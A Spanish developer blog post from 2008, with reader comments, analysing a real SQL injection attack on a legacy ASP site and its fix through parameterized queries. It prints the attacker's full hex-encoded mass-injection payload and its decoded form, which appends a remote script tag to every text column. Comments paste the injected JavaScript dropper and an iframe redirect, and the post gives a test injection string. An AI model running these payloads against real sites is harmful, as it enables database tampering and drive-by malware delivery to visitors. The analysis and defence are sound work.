jueves, 10 de julio de 2008 a las 15:06hs por Dario Krapp
Hace unos días un cliente nos reportó comportamientos extraños en su aplicación, la aplicación en cuestión estaba desarrollada en una tecnología ya en desuso hoy en día (ASP con ODBC), incluso en ocasiones le habíamos propuesto migrar la solución a una tecnología más moderna y adecuada que permitiese una mayor velocidad de ejecución, una mejor experiencia de usuario y un mantenimiento más eficiente (ASP.NET 3.5, AJAX, Silverlight). Pero la aplicación en cuestión, además de haberse quedado unos cuantos años en el tiempo, poseía un serio defecto de programación, quizás cuando fue desarrollada no eran muy comunes los ataques de SQL Injection y quizás fue también un milagro que hasta ese momento la aplicación no haya sido atacada, pero la situación había cambiado ese día, la aplicación que armaba cadenas de texto SQL concatenando sentencias, campos y datos enviados por el usuario de la forma más inocente estaba siendo atacada. Esta forma de ataque por SQL Injection nos pareció talentosa (lamentablemente a veces el talento se usa con fines dañinos) y fuera de lo que ya conocíamos, por eso decidimos comentarla en nuestro blog.
Empecemos por el principio, que es la forma más clara de empezar.
SQL Injection es una vulnerabilidad de programación que le brinda a un usuario de una aplicación la posibilidad de inyectar sentencias SQL en la base de datos que la aplicación emplea como soporte de datos, para que un ataque por SQL injection sea posible es necesario que el programador arme sentencias SQL concatenadas con datos que le llegan del usuario.
Un caso bien simple y conocido es el del login, por ejemplo, una función que autentica al usuario con la siguiente sentencia:
string strLoginSnt = "SELECT id, email, password FROM table WHERE email = '" + strUserEmail + "'"
Donde la variable strUserEmail
que es un dato brindado por el usuario es una puerta de entrada para un ataque por SQL Injection, ya que si el usuario ingresa el valor :
x'; DROP TABLE users; --
donde el programador inocente esperaba por ejemplo un:
usuario@scientia.com.ar
que le permitiese armar la sentencia SQL
SELECT id, email, password FROM table WHERE email = 'usuario@scientia.com.ar'
la misma se termina transformando en:
SELECT id, email, password FROM table WHERE email = 'x'; DROP TABLE users; --'
el usuario se las ha ingeniado para inyectar un DROP TABLE users
en nuestra sentencia, claro está que para eso debe conocer el nombre de las tablas y para otros casos el nombre de los campos de dichas tablas, pero eso no es un impedimento ya que con tiempo, paciencia y un mínimo poder de deducción terminará descubriendo los nombres de las tablas y sus campos. Cabe comentar en este punto que a veces los programadores suelen darle una gran ayuda a que el usuario dañino pueda encontrar esta información, es ilógicamente increíble la cantidad de veces que las aplicaciones dan información detallada de la estructura de su base dade datos cuando el usuario provoca un error en el ingreso de datos, es posible que éstas técnicas sean partes del arsenal utilizado para conocer el nombre de tablas y campos de la base de datos y de esa forma llegar a armar una sentencia SQL Injection válida. Todos estos puntos ya son conocidos desde hace algún tiempo y estoy convencido que cada vez son menos los programadores que arman sentencias SQL por concatenación, hoy día ya todos sabemos que las consultas parametrizadas son la solución para este tipo de ataques.
Pero ahora volvamos al caso con el que iniciamos éste blog, una aplicación hecha en tecnología ASP donde los datos ingresados por el usuario, tanto como los pasados por QueryString eran vulnerables a SQL Injection.
Investigando descubrimos que ciertas páginas recibían información por QueryString y que esa información se empleaba para armar sentencias SQL por concatenación, suceptible a ataques por SQL Injection, esa era la puerta de entrada que había encontrado el hacker para atacar al sitio.
Entonces mientras que el servidor estaba esperando algo del tipo:
/display.asp?IDDisp=23976
alguien le estaba pasando lo siguiente
/display.asp?IDDisp=23976; DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST (0x4445434C415245204054205641524348415228 323535292C404320564152434841522832353529204445434C415 245205461626C655F437572736F7220435552534F5220464F5220 53454C45435420612E6E616D652C622E6E616D652046524F4D207 379736F626A6563747320612C737973636F6C756D6E7320622057 4845524520612E69643D622E696420414E4420612E78747970653 D27752720414E442028622E78747970653D3939204F5220622E78 747970653D3335204F5220622E78747970653D323331204F52206 22E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D205461626C655F4 37572736F7220494E544F2040542C4043205748494C4528404046 455443485F5354415455533D302920424547494E2045584543282 7555044415445205B272B40542B275D20534554205B272B40432B 275D3D525452494D28434F4E56455254285641524348415228343 03030292C5B272B40432B275D29292B27273C7363726970742073 72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3 C2F7363726970743E27272729204645544348204E4558542046524 F4D205461626C655F437572736F7220494E544F2040542C4043204 54E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20 VARCHAR(4000));EXEC(@S);--
Limpiando un poco lo agregado:
DECLARE @S VARCHAR(4000); SET @S=CAST(0x4445434C415245204054205641524348415228 323535292C404320564152434841522832353529204445434C415 245205461626C655F437572736F7220435552534F5220464F5220 53454C45435420612E6E616D652C622E6E616D652046524F4D207 379736F626A6563747320612C737973636F6C756D6E7320622057 4845524520612E69643D622E696420414E4420612E78747970653 D27752720414E442028622E78747970653D3939204F5220622E78 747970653D3335204F5220622E78747970653D323331204F52206 22E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D205461626C655F4 37572736F7220494E544F2040542C4043205748494C4528404046 455443485F5354415455533D302920424547494E2045584543282 7555044415445205B272B40542B275D20534554205B272B40432B 275D3D525452494D28434F4E56455254285641524348415228343 03030292C5B272B40432B275D29292B27273C7363726970742073 72633D687474703A2F2F7777772E2E636F6D2F6E67672E6A733E3 C2F7363726970743E27272729204645544348204E4558542046524 F4D205461626C655F437572736F7220494E544F2040542C4043204 54E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000)); EXEC(@S);--
ésta sentencia le estaba llegando al motor de base de datos SQL Server un Exec de @S donde @S era:
CAST(0x4445434C41524520405 4205641524348415228323535292C404320564152434841522832 353529204445434C415245205461626C655F437572736F7220435 552534F5220464F522053454C45435420612E6E616D652C622E6E 616D652046524F4D207379736F626A6563747320612C737973636 F6C756D6E73206220574845524520612E69643D622E696420414E 4420612E78747970653D27752720414E442028622E78747970653 D3939204F5220622E78747970653D3335204F5220622E78747970 653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E455854204652 4F4D205461626C655F437572736F7220494E544F2040542C40432 05748494C4528404046455443485F5354415455533D3029204245 47494E20455845432827555044415445205B272B40542B275D205 34554205B272B40432B275D3D525452494D28434F4E5645525428 564152434841522834303030292C5B272B40432B275D29292B272 73C736372697074207372633D687474703A2F2F7777772E2E636F 6D2F6E67672E6A733E3C2F7363726970743E27272729204645544 348204E4558542046524F4D205461626C655F437572736F722049 4E544F2040542C404320454E4420434C4F5345205461626C655F4 37572736F72204445414C4C4F43415445205461626C655F437572 736F7220 AS VARCHAR(4000))
Ejecutando finalmente el CAST
, pudimos llegar a lo que el hacker había preparado para nuestro motor de base de datos:
DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www..com/ngg.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
La sentencia SQL (casteada a un Image
para evitar problemas en el QueryString) buscaba todos los los campos de texto del servidor de base de datos (como puede verse recorre todas las bases de datos, tablas y campos del motor) y les agregaba al final del texto lo siguente:
<script src=http://www..com/ngg.js></script>
(El dominio al que accedía fue eliminado por nosotros)
De ésta esta forma cuando desde una página web se mostraran los datos leídos desde la base de datos, el cliente se estaba bajando un javascript que no sería un ‘hola mundo’ seguramente. Con un caso 100% del mundo real podemos ver cuán dañino puede ser un ataque por SQL Injection. El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias, las consultas del tipo:
Dim rs, conn Set conn = Server.CreateObject("ADODB.Connection") conn.Open "Provider...." Set rs = Server.CreateObject("ADODB.recordset") strSQL = "SELECT id, email, password FROM users WHERE email = '" + strEmail + "'" rs.open strSQL, conn
Fueron reemplazadas por :
Dim cmd, rs, conn</code> Set conn = Server.CreateObject("ADODB.Connection") conn.Open "Provider...." Set Cmd = Server.CreateObject("ADODB.Command") Cmd.ActiveConnection = Conn Cmd.CommandText = "SELECT id, email, password FROM users WHERE email = ?" Cmd.CommandType = 1 Cmd.Parameters.Append Cmd.CreateParameter("P1", 200, 1, 100, strEmail) Set rs = Server.CreateObject(”ADODB.recordset”) rs.open Cmd
Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:
CREATE TABLE [dbo].[dummytest]( [dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL ) ON [PRIMARY]
y creamos el siguiente SQL Injection para hacer las pruebas:
DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656 C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES ('HACKED')
De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de «vacuna Injection». Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva.
El resumen de todo esto no es solamente la confirmación de que siempre hay que utilizar parámetros en las consultas, sino también el reconocimiento de la habilidades y conocimientos de quienes intentan encontrar vulnerabilidades en las aplicaciones, la idea de que hay que programar en forma responsable y mantenerse actualizado en materia de seguridad, que no es solo un asunto de administradores, hoy día la creatividad en los ataques a sitios hace que la seguridad sea tema de toda el área que interviene en la creación y vida de un proyecto.
Lo único que quedo por saberse es ¿qué contenía el javascript?, cuando intentamos bajarlo para ver de que se trataba, ya no era posible acceder al servidor que lo contenia, el sitio ya no estaba más. pero seguramente ya debe estar en algún otro.
Categoria Base de datos, Seguridad | Etiquetas: ASP, Injection, Seguridad
Hola gracias por el aporte… como comentais ya esta en otro sitio y si poneis en el google ngg.js aparecen muchas paginas infectadas por dicho JS. Os pego el JS para que veais que es lo que hace.
window.status=»»;
n=navigator.userLanguage.toUpperCase();
if((n!=»ZH-CN»)&&(n!=»UR»)&&(n!=»RU»)&&(n!=»KO»)&&(n!=»ZH-TW»)&&(n!=»ZH»)&&(n!=»HI»)&&(n!=»TH»)&&(n!=»UR»)&&(n!=»VI»)){
var cookieString = document.cookie;
var start = cookieString.indexOf(«updngg=»);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = «updngg=update;expires=»+expires.toGMTString();
try{
document.write(«»);
}
catch(e)
{
};
}}
Segun informacion recopilada, solo el Kaspersky avisa de este «virus». Yo tengo mi pagina infectada que estoy intentando arreglar, alojada en Arsys.
Alguno con el mismo problema?
Un saludo y gracias de nuevo por la información.
Muchas gracias por el script, continué investigando y descubrí que el document.write (el que está en blanco en el script) en otra versión que encotré por Internet hace lo siguiente:
document.write(«iframe src=http://.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe»);
Abre un iframe y navega una url (clásico ataque IFrame), nuevamente el sitio al que accedia el iframe (lo borramos en el blog) ya no era accesible, (otra vez la misma frustración). Al menos avanzamos otro paso.
Un detalle interesante es la sentencia:
if((n!=”ZH-CN”)&&(n!=”UR”)&&(n!=”RU”)&&(n!=”KO”)&&(n!=”ZH-TW”)&&(n!=”ZH”)&&(n!=”HI”)&&(n!=”TH”)&&(n!=”UR”)&&(n!=”VI”))
que hace que el iframe no se genere si el lenguaje del browser es de:
Rusia, Ucrania, China, Corea o Vietnam
Muchas grcias y saludos
Gracias a ti por tu ayuda.
El segundo dia de ataques el Norton si te advertia que estaban intentando acceder al pc mediante su mensaje estandard de alerta, lo que me mosquea es que un samaritano me advertia que mi pagina estaba llena de troyanos, con lo cual o tenia el Karspersky o es uno de los implicados en el tema. Lo del iframe si me preocupa mas.
Sigo teniendo ataques, he podido ver los logs por fin y los ataques son desde distintas ips mundiales, uruguay, venezuela, francia, etc. por lo que ves es muy variado.
Encontramos un procedimiento que realiza el proceso inverso, es decir recorre todas las tablas de la base de datos y borra el texto que nos injecto el ataque.
Estamos investigando el declare que nos injecta, es casi igual que el que publicas aqui pero a partir de las 5 ultimas lineas varia supongo que ira variando seguna la url que le mete en el cast.
con la solucion que publicas habeis tenido problemas algun dia mas? ahora mismo no tenemos las BD infectadas pero seguimos siendo atacados.
Hola, gracias por la imformación, es muy completa.
Yo tambien he sufrido este ataque, mejor dicho lo sufro constantemente, he logrado por ahora evitarlo, filtrando los parametro que se pasan por la url, pero me gustaria saber como has conseguido hacer la solución que indicas, «El problema lo solucionamos modificando todas las consultas del sitio para que empleen parámetros y no concatenen más las sentencias»,
podrias explicarla.
Muchas Gracias
Modifiqué el artículo y le agregué un ejemplo de como parametrizamos las consultas (es un ejemplo para ASP con OleBD).
Como los ataques por SQL Injection son posibles debido a una mala programación. Creo que la única solución definitiva es corregir el código, desde que hicimos las modificaciones en el código (paremetrizar las consultas), no volvimos a tener problemas de SQL Injection.
Saludos
Hola de nuevo, seguimos recibiendo ataques. Pongo aqui la información por si a alguien le resulta de ayuda.
window.status=»»;
n=navigator.userLanguage.toUpperCase();
if((n!=»ZH-CN»)&&(n!=»ZH-MO»)&&(n!=»ZH-HK»)&&(n!=»BN»)&&(n!=»GU»)&&(n!=»NE»)&&(n!=»PA»)&&(n!=»ID»)&&(n!=»EN-PH»)&&(n!=»UR»)&&(n!=»RU»)&&(n!=»KO»)&&(n!=»ZH-TW»)&&(n!=»ZH»)&&(n!=»HI»)&&(n!=»TH»)&&(n!=»VI»)){
var cookieString = document.cookie;
var start = cookieString.indexOf(«v1goo=»);
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+9*3600*1000);
document.cookie = «v1goo=update;expires=»+expires.toGMTString();
try{
document.write(«»);
}
catch(e)
{
};
}}
Este el nuevo codigo jss que han injectado pero esta vez lo han hecho dos veces (o ha habido dos ataques a la vez)
Un saludo.
Cuando pones: «… Luego probamos que el sitio haya quedado inmunizado empleando la misma táctica que uso el hacker creamos una tabla de pruebas:
CREATE TABLE [dbo].[dummytest](
[dummyfield] [nvarchar](50) COLLATE Modern_Spanish_CI_AS NULL
) ON [PRIMARY]
y creamos el siguiente SQL Injection para hacer las pruebas:
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
INSERT INTO dummytest (dummyfield) VALUES (‘HACKED’)
De esta forma pudimos, luego de modificar los querys, probar todo el sitio (que poseía unas cuantas páginas) con esta especie de “vacuna Injection”. Pasando el sitio de ODBC a OleDB (al menos le actualizamos un poco el acceso a datos) e inmunizándolo de ataques por SQL Injection, le dimos al viejo sitio un poco de sangre nueva. …»
Como hago yo para lanzar un ataque a mi web? Podrías ayudarme? Quiero probar si ya lo hemos solucionado
Gracias y espero tu respuesta…
Lo que tendrías que hacer es, primero crear la tabla «dummytest» en la base (o bases) a la que accede la aplicación web que vas a probar, luego agregar :
;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
al final de las urls que incluyan pasaje de parámetros por querystring ,por ejemplo si querés verificar que la página:
pgatacada.asp?p=11&e=hola
ya no sea atacable, entonces deberías escribir en la url del browser lo siguiente:
pgatacada.asp?p=11&e=hola;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0×494E5345525420494E544F2064756D6D7974657374202864756D6D796669656
C64292056414C5545532028274841434B4544272920%20AS%20VARCHAR(4000));EXEC(@S);
Luego que le pidas al browser navegar la url con esto agregado, ingresá al Sql Server y consultá la tabla «dummytest» si hay un nuevo registro con el valor ‘HACKED’ en el campo dummyfield, la página sigue siendo atacable.
Si hay muchas páginas te va a llevar un poco de tiempo probarlas a todas, pero lo bueno es que estás utilizando el mismo método que uso el hacker para evitar que vuelva a atacarte, si el sistio no se encuentra protegido, solo se va a agregar un registro en una tabla propia, con lo cual no se genera ningún daño. No te olvides de eliminar las tablas «dummytest» que hayas creado cuando ya hayas terminado con las pruebas.
Suerte
Bueno, ya veré que otro código invento. Me descubrieron jajajajajaja.
Hola Dario por lo visto el amigo Wiliams ha hecho de las suyas… acabo de encontrar mi web con este codigo:
dentro de los campos de texto…. te aviso por si las tuyas estan siendo atacadas de nuevo.
voy a probar a buscar algo para limpiar, se que existe un script para limpiar la base de datos para no tener que pegarme la paliza uno a uno. Tu tienes algo?
Gracias por todo.
Disculpame la demora en contestar, pero no tengo ese script, cuando tuvimos el problema con este ataque tuvimos también la suerte de tener backups de las bases bastante al día, con lo que no hubo pérdida de datos importantes. Quizás lo que haga el script que me comentas es recorrer los campos de texto del servidor y utilizar la sentencia replace de TSQL para eliminar el texto que el ataque generó, pero lamentablemente no tengo ese script, además me imagino que debe depender de la página que hayan definido como destino en el ataque.
Hola a todos.
Menuda parafernalia se montó el coleguita..impresionante.
Por lo que todo indica, parece ser que tambien han programado un bot para que haga todo este proceso automáticamente..
Pero como he dicho anteriormente el colega que hiciera todo este proceso. IMPRESIONANTE.
Pero un buen hijo de p..xD
Un saludo.
—————-
http://www.monovarlinux.org
—————-
Gracias por la crítica sensata sobre https://www.programandoamedianoche.com . Yo y mi vecino se acaba de preparar para hacer una investigación al respecto. Tenemos un robo de un libro de nuestra biblioteca local, pero creo que he aprendido más de esta entrada. Estoy muy contento de ver la información tan grande que se comparte libremente por ahí. buena suerte